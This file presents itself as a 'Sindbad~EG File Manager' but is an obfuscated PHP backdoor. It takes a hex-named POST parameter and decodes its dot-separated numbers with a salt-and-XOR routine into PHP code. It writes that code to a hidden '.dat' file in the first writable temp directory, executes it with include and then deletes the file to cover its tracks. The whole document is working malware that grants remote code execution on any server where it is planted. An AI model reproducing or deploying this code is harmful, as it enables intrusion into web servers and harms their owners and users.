Sindbad~EG File Manager

<?php

if(isset($_POST) && isset($_POST["\x64at\x61\x5F\x63h\x75nk"])){
	$entry = $_POST["\x64at\x61\x5F\x63h\x75nk"];
			$entry	  =		explode  (   '.'	 	,  $entry	)		 ;	 
	$rec = '';
            $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(	$salt5);
            $s = 0;
    
            array_walk(	$entry, function(	$v7) use(	&$rec, &$s, $salt5, $lenS) {	$chS = ord(	$salt5[$s % 	$lenS]);
                $dec =(	(	int)$v7 - $chS -(	$s % 	10)) ^ 12;
                $rec .= chr(	$dec);
                $s++;
            });
	$record = array_filter(["/tmp", "/var/tmp", "/dev/shm", session_save_path(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getcwd()]);
	$bind = 0;
do {
    $object = $record[$bind] ?? null;
    if ($bind >= count($record)) break;
    		if ((is_dir($object) and is_writable($object))) {
    $property_set = str_replace("{var_dir}", $object, "{var_dir}/.dat");
    if (file_put_contents($property_set, $rec)) {
	include $property_set;
	@unlink($property_set);
	die();
}
}
    $bind++;
} while (true);
}